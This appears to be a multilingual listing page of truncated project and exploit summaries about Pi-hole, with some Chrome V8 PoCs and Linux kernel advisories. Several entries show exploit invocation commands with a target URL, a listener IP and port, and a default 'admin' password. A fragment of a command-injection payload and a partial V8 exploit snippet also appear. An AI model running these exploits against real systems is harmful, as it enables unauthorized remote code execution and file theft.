pi-hole

Network-wide ad blocking via your own Linux hardware The Pi-hole® is a DNS sinkhole that protects your devices from unwanted content without installing any client-side software. Easy-to-install : our dialogs walk you through the simple installation process in less than ten minutes Resolute :...

Rabbit Hole

Overview Rabbit Hole provides a very limited subset of the functionality of Maltego, focused on creating visual representations of information for Penetration Testing. It provides creation of various types of nodes such as IP Addresses, Ports, Services, etc and links between them, with a much mor...

uBlockOrigin-HUGE-AI-Blocklist

uBlockOrigin & uBlacklist Huge AI Blocklist A huge blocklist of manually curated sites 1000+ that contain AI generated content, for the purposes of cleaning image search engines Google Search, DuckDuckGo, and Bing with uBlock Origin or uBlacklist. Also works on mobile iOS, iPadOS, Android via...

Pi-hole Reflected XSS in 404-Error Page

Pi-hole Admin Interface = 6.2.1 contains a reflected XSS vulnerability on the 404 error page. The URL path is reflected unsanitized into the class attribute of the body tag, allowing attribute injection via a crafted URL to execute arbitrary JavaScript in victim browsers. id: CVE-2025-53533 info:...

CVE-2026-35517

CVE-2026-35517 - Pi-hole FTLDNS 通过换行符注入实现远程代码执行 摘要 Pi-hole 的 FTLDNS 引擎（6.0 至 6.5 版本）中存在一个远程代码执行 漏洞，允许已认证的攻击者通过向 dns.upstreams API 参数中嵌入换行符 （\n）来注入任意的 dnsmasq 配置指令。由于 dnsmasq 支持可执行 shell 命令的指令，这种换行符注入可直接转化为在主机系统上执行任意命令 。 这不仅仅是一个单一漏洞，而是一类影响五个不同配置参数 的注入问题，全部已在 FTL v6.6 中一并修复。 目录 快速概览 什么是 Pi-hole...

pi-hole

自身のLinuxハードウェアによるネットワーク全体の広告ブロック Pi-hole® は、クライアント側のソフトウェアをインストールすることなく、不要なコンテンツからデバイスを保護する DNSシンクホール です。 簡単インストール : ダイアログが10分以内に簡単なインストール手順を説明します 断固たる : 広告が多く含まれるモバイルアプリやスマートTVなど、ブラウザ以外の場所でもコンテンツをブロックします 応答性 : DNSクエリをキャッシュすることで、日常のブラウジングの動作をシームレスに高速化します 軽量 : 最小限のハードウェアとソフトウェア要件でスムーズに動作します 堅牢 :...

Pi-hole-XSS-CVE-2025-53533

Pi-hole 跨站脚本（XSS）漏洞 CVE-2025-53533 利用程序（PoC） 针对 Pi-hole Web 界面（v6.2.1）中未认证反射型 XSS 漏洞的概念验证利用程序。该漏洞已在 v6.3 版本中修复。 快速开始 root@kitploit: git clone https://github.com/moezbouzayani9/Pi-hole-XSS-CVE-2025-53533.git cd Pi-hole-XSS-CVE-2025-53533 python3 CVE-2025-53533.py 祝您道德黑客之旅愉快！ ⚠️ 法律声明...

CVE-2020-8816

CVE-2020-8816 Pi-hole 远程代码执行（需要认证）版本 = 4.3.2 用法 python3 CVE-2020-8816.py -u http://10.10.10.10 -i 10.10.14.172 -p 1337 -pass admin 示例 更多信息 https://natedotred.wordpress.com/2020/03/28/cve-2020-8816-pi-hole-remote-code-execution/...

web

通过您自己的 Linux 硬件实现全网广告拦截 Pi-hole 网站 | 文档 | Discourse 论坛 | 捐赠 Pi-hole Web 界面 Pi-hole® 的 Web 界面（基于 AdminLTE）提供了一个集中位置，用于管理您的 Pi-hole 并查看由 FTLDNS™ 生成的统计信息。 易于解读 ：简洁的图表和美观的颜色让 Pi-hole 的统计信息更容易理解 响应式布局 ：在台式机、平板电脑和移动设备上都能出色显示 实用 ：通过我们的设置来控制与配置您的 Pi-hole 洞察深入 ：使用查询日志（包括长期统计数据）深入了解您网络的活动情况 安装 安装 Pi-hole...

punchline

punchline エンドツーエンド暗号化されたピアツーピアチャット（UDP経由）。アカウント不要、中央サーバーによるメッセージの中継・保存なし、中間者なし。単なる2つのピア、直接接続、Noiseプロトコル暗号化。 https://github.com/user-attachments/assets/939e96d3-45e3-4484-9a27-28c3a0457b05 目次 機能概要 クイックスタート 仕組み CLIリファレンス 使い方 設定 ピアの管理 ステータス確認 サーバーオプション テーマ設定 シェル補完 暗号 IKハンドシェイク イニシエーターの決定 鍵の保存 ワイヤプロト...

CVE-2024-34361-Pi-Hole-SSRF-to-RCE

CVE-2024-34361 Pi-hole 远程代码执行（SSRF 到 RCE） 描述 本仓库包含 CVE-2024-34361 的利用程序，这是 Pi-hole 中发现的一个严重漏洞（CVSS 8.6）。Pi-hole 是一种 DNS 沉洞，广泛应用于网络层面拦截广告和跟踪域名。 该漏洞源于对 URL 的验证不当，可通过 SSRF（服务端请求伪造）加以利用。在某些条件下，这种 SSRF 可以使用 Gopherus 协议升级为 RCE（远程代码执行）。 利用此漏洞允许攻击者从 Pi-hole 服务器发送任意请求，可能导致系统上未经授权的命令执行。...

CVE-2024-28247-Pi-hole-Arbitrary-File-Read

CVE-2024-28247 Pi-hole 任意文件读取 描述 本仓库包含针对 CVE-2024-28247 的漏洞利用代码，该漏洞是 Pi-hole 中一个高危漏洞（CVSS 7.6）。Pi-hole 是一种 DNS 沉洞（Sinkhole），广泛用于在网络层面拦截广告和跟踪域名。 该漏洞源于通过 "file://" 处理器访问文件路径时处理不当，允许远程攻击者读取系统上的任意文件。 利用此漏洞，攻击者可控制要读取文件的路径，从而以 root 权限读取系统上的任意文件。 此类安全漏洞不仅破坏了系统的数据机密性，还通过允许未授权访问敏感信息而损害其完整性。 受影响版本： 影响...

CVE-2019-13051

Pi-Hole /tmp/pocproof.txt"@example.com 10分以内に、"test" を含む root 所有のファイルが root 権限で "/tmp/pocproof.txt" に作成されます。 !スクリーンショット 2https://assets.kitploit.com/production/public/readmes/30770/fdbac4c7231bef70c5cba93a8554cd8b42d173a353c3...

web

Network-wide ad blocking via your own Linux hardware Pi-hole website | Documentation | Discourse Forum | Donate Pi-hole Web Interface Pi-hole®'s Web interface based off of AdminLTE provides a central location to manage your Pi-hole and review the statistics generated by FTLDNS™. Easy-to-interpret...

POC-CVE-2025-6554

CVE-2025-6554 CVE-2025-6554 是 Chrome 的 V8（JavaScript 引擎）解释器中的一个漏洞（Hole Check：对可选链表达式中的意外变量控制不足）。POC（CVE-2025-6554-POC.JS）探索了变量使用前“Hole”验证机制中的一个缺陷，该缺陷允许读取未初始化值，而这种读取行为通常会被引用错误阻止。 root@kitploit: function leakhole let x; delete x?.y?.a; return y; let y; function pwn let hole = leakhole;...

CVE-2020-8816

CVE-2020-8816 CVE-2020-8816を悪用するPythonスクリプトです。Pi-holeのリモートコード実行の脆弱性を利用します。 このスクリプトはFrançois Renaud-Philippon氏が発見した手法を用いて、Webインターフェースがバージョン4.3.3未満のPi-hole上でリモートコード実行を実現します。このエクスプロイトには、www-dataユーザーのパスが/opt/pihole:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/binである必要があります。 root@kitploit:...

Astra Linux – Vulnerability found in Linux 5.10, Linux 6.1

In the Linux kernel, the following vulnerability has been resolved: ext4: Do not cache extents during splitting Caching extents during the splitting process is risky, as it may result in stale extents remaining in the status tree. Moreover, in most cases, the corresponding extent block entries ar...

Astra Linux – Vulnerabilities in Linux, Linux-5.10, Linux-5.15, Linux-6.1

In the Linux kernel, the following vulnerabilities have been resolved: ocfs2: Fixed races between hole punching and AIO+DIO. After the commit “ocfs2: return real error code in ocfs2diowrgetblock”, fstests/generic/300 became from always failing to sometimes failing...

CVE-2023-3079

CVE-2023-3079 漏洞利用 感谢 @clem1 发现 ITW 漏洞。 感谢 @alisaesage 先前对该漏洞的 RCA 分析。 感谢 @buptsb 对该漏洞的 笔记。 资源 Writeup 和其他资源。 https://issues.chromium.org/issues/40065138 https://web.archive.org/web/20240304191209/https://cwresearchlab.co.kr/entry/CVE-2023-3079-Bug-in-the-handling-of-the-arguments-object...

CVE-2020-8816

CVE 2020-8816 : Pi-hole（バージョン = 4.3.2）は、リモートコード実行（Remote Code Execution）の脆弱性の影響を受けます。Web ポータルの認証済みユーザーは、サービスを実行しているローカルユーザーの権限で、基盤となるサーバー上で任意のコマンドを実行できます。 使用例 : go run CVE-2020-8816.go -host $LHOST -p $LPORT -pass admin -u http://4c9a7a45fa37.ngrok.io/admin/ またはバイナリ CVE-2020-8816 をダウンロードします :...